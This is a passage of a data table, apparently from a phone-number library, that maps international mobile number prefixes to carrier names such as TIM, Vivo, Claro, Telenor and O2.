'553199255':{'en': 'TIM'}, '553199256':{'en': 'TIM'}, '553199257':{'en': 'TIM'}, '457178':{'en': 'Telenor'}, '457179':{'en': 'Telenor'}, '457176':{'en': 'Telenor'}, '457177':{'en': 'TDC'}, '457175':{'en': 'Telenor'}, '457172':{'en': 'YouSee'}, '457173':{'en': 'CBB Mobil'}, '457170':{'en': 'YouSee'}, '457171':{'en': 'Maxtel.dk'}, '4479788':{'en': 'Truphone'}, '4479789':{'en': 'IV Response'}, '354618':{'en': 'Vodafone'}, '4479784':{'en': 'Cheers'}, '4479785':{'en': 'Icron Network'}, '4479786':{'en': 'Oxygen8'}, '4479787':{'en': 'TeleWare'}, '354613':{'en': 'Tal'}, '354612':{'en': 'Tal'}, '4479782':{'en': 'Cloud9'}, '4479783':{'en': 'Cloud9'}, '4476693':{'en': 'Confabulate'}, '4476692':{'en': 'O2'}, '4476691':{'en': 'O2'}, '4476690':{'en': 'O2'}, '1787257':{'en': 'Claro'}, '4476696':{'en': 'Cheers'}, '514494996':{'en': 'Movistar'}, '1787254':{'en': 'Claro'}, '514494998':{'en': 'Movistar'}, '514494999':{'en': 'Movistar'}, '4476699':{'en': 'O2'}, '4476698':{'en': 'O2'}, '43676':{'en': 'T-Mobile AT'}, '50370702':{'en': 'Movistar'}, '50370703':{'en': 'Claro'}, '551398808':{'en': 'Oi'}, '474114':{'en': 'NetCom'}, '474110':{'en': 'NetCom'}, '551398803':{'en': 'Oi'}, '551398806':{'en': 'Oi'}, '551398807':{'en': 'Oi'}, '551398804':{'en': 'Oi'}, '551398805':{'en': 'Oi'}, '50370700':{'en': 'Claro'}, '5067005':{'en': 'Claro'}, '5067004':{'en': 'Claro'}, '5067007':{'en': 'Claro'}, '5067006':{'en': 'Claro'}, '5067003':{'en': 'Claro'}, '5067002':{'en': 'Claro'}, '5067009':{'en': 'Claro'}, '5067008':{'en': 'Claro'}, '553199928':{'en': 'Telemig Celular'}, '553199929':{'en': 'Telemig Celular'}, '553199922':{'en': 'Telemig Celular'}, '553199923':{'en': 'Telemig Celular'}, '553199921':{'en': 'Telemig Celular'}, '553199926':{'en': 'Telemig Celular'}, '553199927':{'en': 'Telemig Celular'}, '553199924':{'en': 'Telemig Celular'}, '47975':{'en': 'Telenor'}, '4477007':{'en': 'Sure'}, '50370746':{'en': 'Claro'}, '551599693':{'en': 'Vivo'}, '50370744':{'en': 'Claro'}, '50370745':{'en': 'Claro'}, '50370742':{'en': 'Claro'}, '50370743':{'en': 'Claro'}, '50370740':{'en': 'Claro'}, '50370741':{'en': 'Claro'}, '551599188':{'en': 'Claro BR'}, '50370707':{'en': 'Claro'}, '553399122':{'en': 'TIM'}, '5119809':{'en': 'Claro'}, '554599938':{'en': 'TIM'}, '554399144':{'en': 'Vivo'}, '554599939':{'en': 'TIM'}, '551698142':{'en': 'TIM'}, '554198427':{'en': 'Brasil Telecom GSM'}, '554399147':{'en': 'Vivo'}, '554198426':{'en': 'Brasil Telecom GSM'}, '554599932':{'en': 'TIM'}, '554198425':{'en': 'Brasil Telecom GSM'}, '554599933':{'en': 'TIM'}, '551799711':{'en': 'Vivo'}, '33653':{'en': 'Bouygues'}, '33650':{'en': 'Bouygues'}, '551799712':{'en': 'Vivo'}, '551799715':{'en': 'Vivo'}, '551799714':{'en': 'Vivo'}, '33654':{'en': 'Orange France'}, '33655':{'en': 'SFR'}, '551799719':{'en': 'Vivo'}, '551799718':{'en': 'Vivo'}, '33658':{'en': 'Bouygues'}, '37488':{'en': 'VivaCell-MTS', 'ru': u('\u0412\u0438\u0432\u0430\u0421\u0435\u043b\u043b-\u041c\u0422\u0421')}, '554198422':{'en': 'Brasil Telecom GSM'}, '554399146':{'en': 'Vivo'}, '554198421':{'en': 'Brasil Telecom GSM'}, '31658':{'en': 'Telfort'}, '31659':{'en': 'Vectone Mobile/Delight Mobile'}, '31650':{'en': 'Vodafone Libertel B.V.'}, '31651':{'en': 'KPN'}, '31652':{'en': 'Vodafone Libertel B.V.'}, '31653':{'en': 'KPN'}, '31654':{'en': 'Vodafone Libertel B.V.'}, '31655':{'en': 'Vodafone Libertel B.V.'}, '31656':{'en': 'T-Mobile'}, '31657':{'en': 'KPN'}, '551499149':{'en': 'Claro BR'}, '551499148':{'en': 'Claro BR'}, '47417':{'en': 'Telenor'}, '47416':{'en': 'Telenor'}, '47415':{'en': 'Telenor'}, '47414':{'en': 'Telenor'}, '47413':{'en': 'Tele2'}, '47412':{'en': 'Tele2'}, '551499147':{'en': 'Claro BR'}, '551499146':{'en': 'Claro BR'}, '515195199':{'en': 'Movistar'}, '515195198':{'en': 'Movistar'}, '515195195':{'en': 'Movistar'}, '515195194':{'en': 'Movistar'}, '515195197':{'en': 'Movistar'}, '515195196':{'en': 'Movistar'}, '515195191':{'en': 'Movistar'}, '515195190':{'en': 'Movistar'}, '515195193':{'en': 'Movistar'}, '551498813':{'en': 'Oi'}, '552298151':{'en': 'TIM'}, '554399143':{'en': 'Vivo'}, '26269388':{'en': 'Orange'}, '26269380':{'en': 'Only'}, '515395376':{'en': 'Claro'}, '515395375':{'en': 'Claro'}, '515395374':{'en': 'Claro'}, '515395373':{'en': 'Claro'}, '515395372':{'en': 'Claro'}, '515395371':{'en': 'Claro'}, '515395370':{'en': 'Claro'}, '518298260':{'en': 'Movistar'}, '518298261':{'en': 'Movistar'}, '551699721':{'en': 'Vivo'}, '551699727':{'en': 'Vivo'}, '551699726':{'en': 'Vivo'}, '551699725':{'en': 'Vivo'}, '551699724':{'en': 'Vivo'}, '518298268':{'en': 'Movistar'}, '551699729':{'en': 'Vivo'}, '1242535':{'en': 'BaTelCo'}, '1242533':{'en': 'BaTelCo'}, '383433':{'en': 'D3 Mobile'}, '383432':{'en': 'D3 Mobile'}, '383434':{'en': 'D3 Mobile'}, '34685':{'en': 'Orange'}, '3834715':{'en': 'mts d.o.o.'}, '3834714':{'en': 'mts d.o.o.'}, '3834713':{'en': 'mts d.o.o.'}, '3834712':{'en': 'mts d.o.o.'}, '3834711':{'en': 'mts d.o.o.'}, '3834710':{'en': 'mts d.o.o.'}, '34689':{'en': 'Movistar'}, '554198463':{'en': 'Brasil Telecom GSM'}, '554198462':{'en': 'Brasil Telecom GSM'}, '554198461':{'en': 'Brasil Telecom GSM'}, '3584552':{'en': 'Suomen Virveverkko'}, '554198467':{'en': 'Brasil Telecom GSM'}, '554198466':{'en': 'Brasil Telecom GSM'}, '554198465':{'en': 'Brasil Telecom GSM'}, '554198464':{'en': 'Brasil Telecom GSM'}, '3584555':{'en': 'Nokia Solutions and Networks'}, '455253':{'en': 'CBB Mobil'}, '554198468':{'en': 'Brasil Telecom GSM'}, '3584554':{'en': 'Suomen Virveverkko'}, '479743':{'en': 'Telenor'}, '3584556':{'en': 'Liikennevirasto'}, '552299289':{'en': 'Claro BR'}, '552299288':{'en': 'Claro BR'}, '552299283':{'en': 'Claro BR'}, '552299282':{'en': 'Claro BR'}, '552299281':{'en': 'Claro BR'}, '1246697':{'en': 'Ozone'}, '1246696':{'en': 'Ozone'}, '1246695':{'en': 'Ozone'}, '552299284':{'en': 'Claro BR'}, '4473800':{'en': 'AMSUK'}, '4475094':{'en': 'JT'}, '4475095':{'en': 'JT'}, '4475096':{'en': 'JT'}, '4475097':{'en': 'JT'}, '55119649':{'en': 'Vivo'}, '55119648':{'en': 'Vivo'}, '4475092':{'en': 'JT'}, '4475093':{'en': 'JT'}, '25078':{'en': 'MTN'}, '55119647':{'en': 'Vivo'}, '55119641':{'en': 'Vivo'}, '55119640':{'en': 'Vivo'}, '51649641':{'en': 'Claro'}, '51649640':{'en': 'Movistar'}, '51649643':{'en': 'Claro'}, '51649642':{'en': 'Claro'}, '51649645':{'en': 'Movistar'}, '51649644':{'en': 'Movistar'}, '51649647':{'en': 'Movistar'}, '51649646':{'en': 'Movistar'}, '51649648':{'en': 'Movistar'}, '553599941':{'en': 'Telemig Celular'}, '551698181':{'en': 'TIM'}, '551698182':{'en': 'TIM'}, '551698183':{'en': 'TIM'}, '551698184':{'en': 'TIM'}, '51769764':{'en': 'Movistar'}, '4475898':{'en': 'Test2date'}, '25298':{'en': 'STG'}, '4475894':{'en': 'Vectone Mobile'}, '4475895':{'en': 'Vectone Mobile'}, '4475896':{'en': 'Vectone Mobile'}, '4475897':{'en': 'Vectone Mobile'}, '4475890':{'en': 'Yim Siam'}, '4475891':{'en': 'Oxygen8'}, '4475892':{'en': 'Oxygen8'}, '4475893':{'en': 'Oxygen8'}, '552799222':{'en': 'Claro BR'}, '552799223':{'en': 'Claro BR'}, '552799226':{'en': 'Claro BR'}, '552799227':{'en': 'Claro BR'}, '552799224':{'en': 'Claro BR'}, '552799225':{'en': 'Claro BR'}, '552799228':{'en': 'Claro BR'}, '552799229':{'en': 'Claro BR'}, '447754':{'en': 'O2'}, '37356':{'en': 'IDC'}, '552498145':{'en': 'TIM'}, '552498144':{'en': 'TIM'}, '552498141':{'en': 'TIM'}, '552498143':{'en': 'TIM'}, '552498142':{'en': 'TIM'}, '5534989':{'en': 'Oi'}, '5534988':{'en': 'Oi'}, '5534987':{'en': 'Oi'}, '5534986':{'en': 'Oi'}, '5534985':{'en': 'Oi'}, '346981':{'en': 'R'}, '346989':{'en': 'Eroski movil'}, '459320':{'en': 'Justfone'}, '554299152':{'en': 'Vivo'}, '336040':{'en': 'SFR'}, '336041':{'en': 'SFR'}, '336046':{'en': 'SFR'}, '336047':{'en': 'SFR'}, '336044':{'en': 'SFR'}, '51729728':{'en': 'Movistar'}, '336048':{'en': 'SFR'}, '336049':{'en': 'SFR'}, '551398125':{'en': 'TIM'}, '551398124':{'en': 'TIM'}, '551398127':{'en': 'TIM'}, '551398126':{'en': 'TIM'}, '551398121':{'en': 'TIM'}, '551398123':{'en': 'TIM'}, '551398122':{'en': 'TIM'}, '551398129':{'en': 'TIM'}, '3505':{'en': 'GibTel'}, '3506':{'en': 'Limba'}, '553199942':{'en': 'Telemig Celular'}, '553199943':{'en': 'Telemig Celular'}, '479798':{'en': 'Telenor'}, '479799':{'en': 'Telenor'}, '5537988':{'en': 'Oi'}, '5537989':{'en': 'Oi'}, '5537986':{'en': 'Oi'}, '5537987':{'en': 'Oi'}, '5537985':{'en': 'Oi'}, '479796':{'en': 'Telenor'}, '479797':{'en': 'Telenor'}, '479795':{'en': 'Telenor'}, '38651':{'en': 'Telekom Slovenije'}, '551798129':{'en': 'TIM'}, '551798128':{'en': 'TIM'}, '30690400':{'en': 'MI Carrier Services'}, '551298118':{'en': 'TIM'}, '553799921':{'en': 'Telemig Celular'}, '553799922':{'en': 'Telemig Celular'}, '553799923':{'en': 'Telemig Celular'}, '551798121':{'en': 'TIM'}, '551798123':{'en': 'TIM'}, '551798122':{'en': 'TIM'}, '551798125':{'en': 'TIM'}, '551798124':{'en': 'TIM'}, '551798127':{'en': 'TIM'}, '551798126':{'en': 'TIM'}, '479425':{'en': 'Telenor'}, '552899923':{'en': 'Vivo'}, '5511999':{'en': 'Vivo'}, '5511998':{'en': 'Vivo'}, '479423':{'en': 'NetCom'}, '5511995':{'en': 'Vivo'}, '5511994':{'en': 'Claro BR'}, '5025580':{'en': 'Tigo'}, '5025581':{'en': 'Tigo'}, '5511991':{'en': 'Claro BR'}, '5511993':{'en': 'Claro BR'}, '5511992':{'en': 'Claro BR'}, '554499159':{'en': 'Vivo'}, '551999653':{'en': 'Vivo'}, '4475090':{'en': 'JT'}, '47996':{'en': 'Telenor'}, '47997':{'en': 'Telenor'}, '47994':{'en': 'Telenor'}, '47995':{'en': 'Telenor'}, '47992':{'en': 'Telenor'}, '47993':{'en': 'Telenor'}, '47990':{'en': 'Telenor'}, '554799971':{'en': 'TIM'}, '554799972':{'en': 'TIM'}, '554799973':{'en': 'TIM'}, '554799974':{'en': 'TIM'}, '554799975':{'en': 'TIM'}, '554799976':{'en': 'TIM'}, '554799977':{'en': 'TIM'}, '456146':{'en': 'Telia'}, '553899909':{'en': 'Telemig Celular'}, '553899908':{'en': 'Telemig Celular'}, '474773':{'en': 'Telenor'}, '474772':{'en': 'Telenor'}, '474771':{'en': 'Telenor'}, '474770':{'en': 'Telenor'}, '3519290':{'en': 'NOS'}, '474776':{'en': 'Telenor'}, '474775':{'en': 'Telenor'}, '474774':{'en': 'Telenor'}, '502579':{'en': 'Movistar'}, '551598814':{'en': 'Oi'}, '551598813':{'en': 'Oi'}, '551598810':{'en': 'Oi'}, '502571':{'en': 'Telgua'}, '554799608':{'en': 'TIM'}, '554799609':{'en': 'TIM'}, '554799602':{'en': 'TIM'}, '554799603':{'en': 'TIM'}, '554799601':{'en': 'TIM'}, '554799606':{'en': 'TIM'}, '554799607':{'en': 'TIM'}, '554799604':{'en': 'TIM'}, '554799605':{'en': 'TIM'}, '554399195':{'en': 'Vivo'}, '553199689':{'en': 'Telemig Celular'}, '553199688':{'en': 'Telemig Celular'}, '553199687':{'en': 'Telemig Celular'}, '553199686':{'en': 'Telemig Celular'}, '553199685':{'en': 'Telemig Celular'}, '553199684':{'en': 'Telemig Celular'}, '553199683':{'en': 'Telemig Celular'}, '553199682':{'en': 'Telemig Celular'}, '553199681':{'en': 'Telemig Celular'}, '50938':{'en': 'Digicel'}, '50939':{'en': 'Digicel'}, '50930':{'en': 'Digicel'}, '50931':{'en': 'Digicel'}, '50934':{'en': 'Digicel'}, '50936':{'en': 'Digicel'}, '50937':{'en': 'Digicel'}, '554299948':{'en': 'TIM'}, '223217':{'en': 'Sotelma'}, '1284499':{'en': 'CCT'}, '22669':{'en': 'Telecel Faso'}, '22668':{'en': 'Telecel Faso'}, '22665':{'en': 'Airtel'}, '22664':{'en': 'Airtel'}, '22667':{'en': 'Airtel'}, '22666':{'en': 'Airtel'}, '22661':{'en': 'Telmob'}, '22660':{'en': 'Telmob'}, '22663':{'en': 'Telmob'}, '22662':{'en': 'Telmob'}, '553199355':{'en': 'TIM'}, '553199354':{'en': 'TIM'}, '553199357':{'en': 'TIM'}, '553199356':{'en': 'TIM'}, '553199351':{'en': 'TIM'}, '553199353':{'en': 'TIM'}, '553199352':{'en': 'TIM'}, '1787666':{'en': 'SunCom Wireless Puerto Rico'}, '1787662':{'en': 'SunCom Wireless Puerto Rico'}, '553199358':{'en': 'TIM'}, '55169932':{'en': 'Claro BR'}, '554299946':{'en': 'TIM'}, '551899709':{'en': 'Vivo'}, '551899708':{'en': 'Vivo'}, '551899707':{'en': 'Vivo'}, '551899706':{'en': 'Vivo'}, '551899705':{'en': 'Vivo'}, '551899704':{'en': 'Vivo'}, '551899703':{'en': 'Vivo'}, '551899702':{'en': 'Vivo'}, '551899701':{'en': 'Vivo'}, '551999772':{'en': 'Vivo'}, '553199238':{'en': 'TIM'}, '55169933':{'en': 'Claro BR'}, '553199236':{'en': 'TIM'}, '553199237':{'en': 'TIM'}, '553199234':{'en': 'TIM'}, '553199235':{'en': 'TIM'}, '553199232':{'en': 'TIM'}, '553199233':{'en': 'TIM'}, '553199231':{'en': 'TIM'}, '2318':{'en': 'Lonestar Cell'}, '2317':{'en': 'Cellcom'}, '553199702':{'en': 'Telemig Celular'}, '2626934':{'en': 'Only'}, '553898427':{'en': 'Claro BR'}, '551196913':{'en': 'Vivo'}, '553898425':{'en': 'Claro BR'}, '553898424':{'en': 'Claro BR'}, '553898423':{'en': 'Claro BR'}, '553898422':{'en': 'Claro BR'}, '43699':{'en': 'Orange AT'}, '553898421':{'en': 'Claro BR'}, '551196918':{'en': 'Claro BR'}, '551398820':{'en': 'Oi'}, '30687500':{'en': 'BWS'}, '553898429':{'en': 'Claro BR'}, '3469388':{'en': 'Carrefour'}, '3469389':{'en': 'Orange'}, '3469382':{'en': 'MasMovil'}, '3469383':{'en': 'Carrefour'}, '3469380':{'en': 'MasMovil'}, '3469381':{'en': 'MasMovil'}, '3469386':{'en': 'MasMovil'}, '3469387':{'en': 'Carrefour'}, '3469384':{'en': 'Carrefour'}, '3469385':{'en': 'MasMovil'}, '49160':{'en': 'T-Mobile'}, '49163':{'en': 'Eplus'}, '49162':{'en': 'Vodafone'}, '552898116':{'en': 'TIM'}, '553199902':{'en': 'Telemig Celular'}, '553199903':{'en': 'Telemig Celular'}, '553199904':{'en': 'Telemig Celular'}, '553199393':{'en': 'TIM'}, '553199906':{'en': 'Telemig Celular'}, '552898117':{'en': 'TIM'}, '553199908':{'en': 'Telemig Celular'}, '553199909':{'en': 'Telemig Celular'}, '552499281':{'en': 'Claro BR'}, '553499202':{'en': 'TIM'}, '5037805':{'en': 'Claro'}, '479741':{'en': 'Telenor'}, '5037806':{'en': 'Claro'}, '553499204':{'en': 'TIM'}, '5037807':{'en': 'Claro'}, '552898118':{'en': 'TIM'}, '551799737':{'en': 'Vivo'}, '551799736':{'en': 'Vivo'}, '551799735':{'en': 'Vivo'}, '551799734':{'en': 'Vivo'}, '551799733':{'en': 'Vivo'}, '551799732':{'en': 'Vivo'}, '551799731':{'en': 'Vivo'}, '26263975':{'en': 'Only'}, '26263974':{'en': 'Only'}, '479651':{'en': 'Telenor'}, '26263976':{'en': 'Orange'}, '26263971':{'en': 'Only'}, '26263970':{'en': 'BJT'}, '26263973':{'en': 'Only'}, '26263972':{'en': 'Only'}, '552899298':{'en': 'Claro BR'}, '552899291':{'en': 'Claro BR'}, '5037699':{'en': 'Movistar'}, '5037698':{'en': 'Digicel'}, '359989':{'en': 'Mtel'}, '5037691':{'en': 'Movistar'}, '5037693':{'en': 'Movistar'}, '5037692':{'en': 'Movistar'}, '5037695':{'en': 'Digicel'}, '5037694':{'en': 'Movistar'}, '5037697':{'en': 'Digicel'}, '5037696':{'en': 'Digicel'}, '516396362':{'en': 'Movistar'}, '516396363':{'en': 'Movistar'}, '516396360':{'en': 'Movistar'}, '516396361':{'en': 'Movistar'}, '516396364':{'en': 'Movistar'}, '516396365':{'en': 'Movistar'}, '551499167':{'en': 'Claro BR'}, '551499166':{'en': 'Claro BR'}, '551499165':{'en': 'Claro BR'}, '516396369':{'en': 'Movistar'}, '551499163':{'en': 'Claro BR'}, '551499162':{'en': 'Claro BR'}, '551499161':{'en': 'Claro BR'}, '55119809':{'en': 'Oi'}, '55119808':{'en': 'Oi'}, '55119807':{'en': 'Oi'}, '55119806':{'en': 'Oi'}, '55119805':{'en': 'Oi'}, '55119804':{'en': 'Oi'}, '55119803':{'en': 'Oi'}, '552298133':{'en': 'TIM'}, '552298131':{'en': 'TIM'}, '1242558':{'en': 'BaTelCo'}, '1242559':{'en': 'BaTelCo'}, '511973':{'en': 'Claro'}, '1242551':{'en': 'BaTelCo'}, '1242552':{'en': 'BaTelCo'}, '1242553':{'en': 'BaTelCo'}, '1242554':{'en': 'BaTelCo'}, '1242556':{'en': 'BaTelCo'}, '1242557':{'en': 'BaTelCo'}, '38589098':{'en': 'Hrvatski Telekom'}, '554199133':{'en': 'Vivo'}, '38589091':{'en': 'Vip'}, '447626':{'en': 'O2'}, '447625':{'en': 'O2'}, '447623':{'en': 'PageOne'}, '554199137':{'en': 'Vivo'}, '554199135':{'en': 'Vivo'}, '553199837':{'en': 'Telemig Celular'}, '518398399':{'en': 'Movistar'}, '518398398':{'en': 'Movistar'}, '3866560':{'en': 'Telekom Slovenije'}, '3364168':{'en': 'SFR'}, '3364169':{'en': 'SFR'}, '3364166':{'en': 'SFR'}, '3364167':{'en': 'SFR'}, '23275':{'en': 'Orange'}, '23277':{'en': 'Africell'}, '23276':{'en': 'Airtel'}, '549336':{'en': 'Personal'}, '549338':{'en': 'Personal'}, '23279':{'en': 'Airtel'}, '23278':{'en': 'Airtel'}, '552299261':{'en': 'Claro BR'}, '552299263':{'en': 'Claro BR'}, '552299262':{'en': 'Claro BR'}, '552299265':{'en': 'Claro BR'}, '552299264':{'en': 'Claro BR'}, '552299267':{'en': 'Claro BR'}, '552299266':{'en': 'Claro BR'}, '552299269':{'en': 'Claro BR'}, '552299268':{'en': 'Claro BR'}, '4474651':{'en': 'Vectone Mobile'}, '4474650':{'en': 'Vectone Mobile'}, '4474653':{'en': 'Compatel'}, '4474655':{'en': 'GlobalReach'}, '554399121':{'en': 'Vivo'}, '25729':{'en': 'Leo'}, '26269244':{'en': 'Orange'}, '554399126':{'en': 'Vivo'}, '26269242':{'en': 'Orange'}, '552799201':{'en': 'Claro BR'}, '552799202':{'en': 'Claro BR'}, '552799203':{'en': 'Claro BR'}, '552799204':{'en': 'Claro BR'}, '552799205':{'en': 'Claro BR'}, '551899632':{'en': 'Vivo'}, '2345481':{'en': 'Starcomms'}, '551899634':{'en': 'Vivo'}, '45815':{'en': 'CBB Mobil'}, '48531':{'en': 'Play'}, '1787598':{'en': 'SunCom Wireless Puerto Rico'}, '306959':{'en': 'Vodafone'}, '306958':{'en': 'Vodafone'}, '306951':{'en': 'Vodafone'}, '306950':{'en': 'Vodafone'}, '306957':{'en': 'Vodafone'}, '1787595':{'en': 'SunCom Wireless Puerto Rico'}, '306955':{'en': 'Vodafone'}, '1787597':{'en': 'SunCom Wireless Puerto Rico'}, '44788':{'en': 'Vodafone'}, '44780':{'en': 'O2'}, '44781':{'en': 'Orange'}, '44784':{'en': 'O2'}, '44785':{'en': 'O2'}, '553499198':{'en': 'TIM'}, '336069':{'en': 'SFR'}, '553499194':{'en': 'TIM'}, '553499195':{'en': 'TIM'}, '553499196':{'en': 'TIM'}, '553499197':{'en': 'TIM'}, '553499191':{'en': 'TIM'}, '553499192':{'en': 'TIM'}, '553499193':{'en': 'TIM'}, '55329840':{'en': 'Claro BR'}, '553499825':{'en': 'Telemig Celular'}, '55329841':{'en': 'Claro BR'}, '2342873':{'en': 'Starcomms'}, '2342872':{'en': 'Starcomms'}, '2342871':{'en': 'Starcomms'}, '2342870':{'en': 'Starcomms'}, '2342877':{'en': 'Starcomms'}, '2342876':{'en': 'Starcomms'}, '2342875':{'en': 'Starcomms'}, '2342874':{'en': 'Starcomms'}, '38631':{'en': 'Telekom Slovenije'}, '38630':{'en': 'A1'}, '554898408':{'en': 'Brasil Telecom GSM'}, '554898409':{'en': 'Brasil Telecom GSM'}, '554898406':{'en': 'Brasil Telecom GSM'}, '3463529':{'en': 'MasMovil'}, '554898404':{'en': 'Brasil Telecom GSM'}, '554898405':{'en': 'Brasil Telecom GSM'}, '554898402':{'en': 'Brasil Telecom GSM'}, '554898403':{'en': 'Brasil Telecom GSM'}, '554898401':{'en': 'Brasil Telecom GSM'}, '553199882':{'en': 'Telemig Celular'}, '27815':{'en': 'Telkom Mobile'}, '27814':{'en': 'Telkom Mobile'}, '27817':{'en': 'Telkom Mobile'}, '27816':{'en': 'WBS Mobile'}, '27811':{'en': 'Telkom Mobile'}, '27810':{'en': 'MTN'}, '27813':{'en': 'Telkom Mobile'}, '27812':{'en': 'Telkom Mobile'}, '27818':{'en': 'Vodacom'}, '1268788':{'en': 'Digicel'}, '1268785':{'en': 'Digicel'}, '1268781':{'en': 'APUA'}, '1268780':{'en': 'APUA'}, '1268783':{'en': 'Digicel'}, '29777':{'en': 'SETAR'}, '29774':{'en': 'Digicel'}, '40774':{'en': 'Digi Mobil'}, '40773':{'en': 'Digi Mobil'}, '29773':{'en': 'Digicel'}, '40771':{'en': 'Digi Mobil'}, '40770':{'en': 'Digi Mobil'}, '554799918':{'en': 'TIM'}, '554799919':{'en': 'TIM'}, '554799916':{'en': 'TIM'}, '554799917':{'en': 'TIM'}, '554799914':{'en': 'TIM'}, '554799915':{'en': 'TIM'}, '554799912':{'en': 'TIM'}, '1939440':{'en': 'CENTENNIAL'}, '554799911':{'en': 'TIM'}, '27608':{'en': 'Vodacom'}, '27609':{'en': 'Vodacom'}, '552299224':{'en': 'Claro BR'}, '27603':{'en': 'MTN'}, '27604':{'en': 'MTN'}, '27605':{'en': 'MTN'}, '27606':{'en': 'Vodacom'}, '27607':{'en': 'Vodacom'}, '5522999':{'en': 'Vivo'}, '5522998':{'en': 'Vivo'}, '552299221':{'en': 'Claro BR'}, '553598469':{'en': 'Claro BR'}, '554799621':{'en': 'TIM'}, '554799622':{'en': 'TIM'}, '554799623':{'en': 'TIM'}, '554598409':{'en': 'Brasil Telecom GSM'}, '554598408':{'en': 'Brasil Telecom GSM'}, '554799626':{'en': 'TIM'}, '554799627':{'en': 'TIM'}, '554598405':{'en': 'Brasil Telecom GSM'}, '554598404':{'en': 'Brasil Telecom GSM'}, '554598407':{'en': 'Brasil Telecom GSM'}, '554598406':{'en': 'Brasil Telecom GSM'}, '554598401':{'en': 'Brasil Telecom GSM'}, '554598403':{'en': 'Brasil Telecom GSM'}, '554598402':{'en': 'Brasil Telecom GSM'}, '553598467':{'en': 'Claro BR'}, '22399':{'en': 'Sotelma'}, '22398':{'en': 'Sotelma'}, '553199379':{'en': 'TIM'}, '553199378':{'en': 'TIM'}, '22391':{'en': 'Orange'}, '22390':{'en': 'Orange'}, '22393':{'en': 'Orange'}, '22392':{'en': 'Orange'}, '22395':{'en': 'Sotelma'}, '22394':{'en': 'Orange'}, '22397':{'en': 'Sotelma'}, '22396':{'en': 'Sotelma'}, '1787608':{'en': 'CENTENNIAL'}, '1787609':{'en': 'CENTENNIAL'}, '1787601':{'en': 'SunCom Wireless Puerto Rico'}, '1787602':{'en': 'CENTENNIAL'}, '1787604':{'en': 'SunCom Wireless Puerto Rico'}, '1787605':{'en': 'SunCom Wireless Puerto Rico'}, '1787607':{'en': 'CENTENNIAL'}, '1242815':{'en': 'aliv'}, '1242814':{'en': 'aliv'}, '1242817':{'en': 'aliv'}, '1242816':{'en': 'aliv'}, '551899761':{'en': 'Vivo'}, '1242810':{'en': 'aliv'}, '1242813':{'en': 'aliv'}, '1242812':{'en': 'aliv'}, '491523':{'en': 'Vodafone'}, '491522':{'en': 'Vodafone'}, '491521':{'en': 'Vodafone/Lycamobile'}, '491520':{'en': 'Vodafone'}, '1242819':{'en': 'aliv'}, '1242818':{'en': 'aliv'}, '491525':{'en': 'Vodafone'}, '553199214':{'en': 'TIM'}, '553199215':{'en': 'TIM'}, '553199216':{'en': 'TIM'}, '553199217':{'en': 'TIM'}, '553199211':{'en': 'TIM'}, '551598129':{'en': 'TIM'}, '551598128':{'en': 'TIM'}, '551598127':{'en': 'TIM'}, '551598126':{'en': 'TIM'}, '551598125':{'en': 'TIM'}, '551598124':{'en': 'TIM'}, '551598123':{'en': 'TIM'}, '551598122':{'en': 'TIM'}, '551598121':{'en': 'TIM'}, '1876275':{'en': 'Digicel'}, '354651':{'en': 'IMC'}, '354650':{'en': 'IMC'}, '354655':{'en': 'Vodafone'}, '354659':{'en': 'Vodafone'}, '553499949':{'en': 'Telemig Celular'}, '553499948':{'en': 'Telemig Celular'}, '553499947':{'en': 'Telemig Celular'}, '553499946':{'en': 'Telemig Celular'}, '553499945':{'en': 'Telemig Celular'}, '553499944':{'en': 'Telemig Celular'}, '553499943':{'en': 'Telemig Celular'}, '553499942':{'en': 'Telemig Celular'}, '553499941':{'en': 'Telemig Celular'}, '516495443':{'en': 'Movistar'}, '516495442':{'en': 'Movistar'}, '516495441':{'en': 'Movistar'}, '516495440':{'en': 'Movistar'}, '516495447':{'en': 'Movistar'}, '516495446':{'en': 'Movistar'}, '516495445':{'en': 'Movistar'}, '516495444':{'en': 'Movistar'}, '516495448':{'en': 'Movistar'}, '553199316':{'en': 'TIM'}, '551999655':{'en': 'Vivo'}, '50370708':{'en': 'Movistar'}, '50370709':{'en': 'Tigo'}, '45318':{'en': 'Lycamobile Denmark Ltd'}, '45319':{'en': 'Telenor'}, '45316':{'en': '3'}, '45317':{'en': '3'}, '45314':{'en': '3'}, '50370701':{'en': 'Tigo'}, '45312':{'en': '3'}, '45313':{'en': '3'}, '50370704':{'en': 'Claro'}, '45311':{'en': '3'}, '554299924':{'en': 'TIM'}, '479124':{'en': 'Telenor'}, '1758460':{'en': 'Cable & Wireless'}, '1758461':{'en': 'Cable & Wireless'}, '37377':{'en': 'IDC'}, '37376':{'en': 'Moldcell'}, '37379':{'en': 'Moldcell'}, '551799754':{'en': 'Vivo'}, '551799757':{'en': 'Vivo'}, '551799756':{'en': 'Vivo'}, '551799751':{'en': 'Vivo'}, '551799753':{'en': 'Vivo'}, '551799752':{'en': 'Vivo'}, '26263990':{'en': 'BJT'}, '26263997':{'en': 'Only'}, '26263996':{'en': 'Only'}, '26263995':{'en': 'Only'}, '26263994':{'en': 'Only'}, '26263999':{'en': 'Orange'}, '554499171':{'en': 'Vivo'}, '4236626':{'en': 'Datamobile'}, '4236627':{'en': 'Datamobile'}, '4236620':{'en': 'First Mobile'}, '554499174':{'en': 'Vivo'}, '553299992':{'en': 'Telemig Celular'}, '553299993':{'en': 'Telemig Celular'}, '553299991':{'en': 'Telemig Celular'}, '4236628':{'en': 'Datamobile'}, '4236629':{'en': 'Datamobile'}, '553299994':{'en': 'Telemig Celular'}, '553299995':{'en': 'Telemig Celular'}, '552899902':{'en': 'Vivo'}, '552899903':{'en': 'Vivo'}, '552899901':{'en': 'Vivo'}, '552899904':{'en': 'Vivo'}, '552899905':{'en': 'Vivo'}, '554799614':{'en': 'TIM'}, '551499105':{'en': 'Claro BR'}, '551499104':{'en': 'Claro BR'}, '551499107':{'en': 'Claro BR'}, '551499106':{'en': 'Claro BR'}, '551499101':{'en': 'Claro BR'}, '51197520':{'en': 'Movistar'}, '551499102':{'en': 'Claro BR'}, '551499109':{'en': 'Claro BR'}, '551499108':{'en': 'Claro BR'}, '553898401':{'en': 'Claro BR'}, '553299193':{'en': 'TIM'}, '553898403':{'en': 'Claro BR'}, '553898402':{'en': 'Claro BR'}, '553898405':{'en': 'Claro BR'}, '553299197':{'en': 'TIM'}, '553299194':{'en': 'TIM'}, '553299195':{'en': 'TIM'}, '553898409':{'en': 'Claro BR'}, '553898408':{'en': 'Claro BR'}, '553299198':{'en': 'TIM'}, '553299199':{'en': 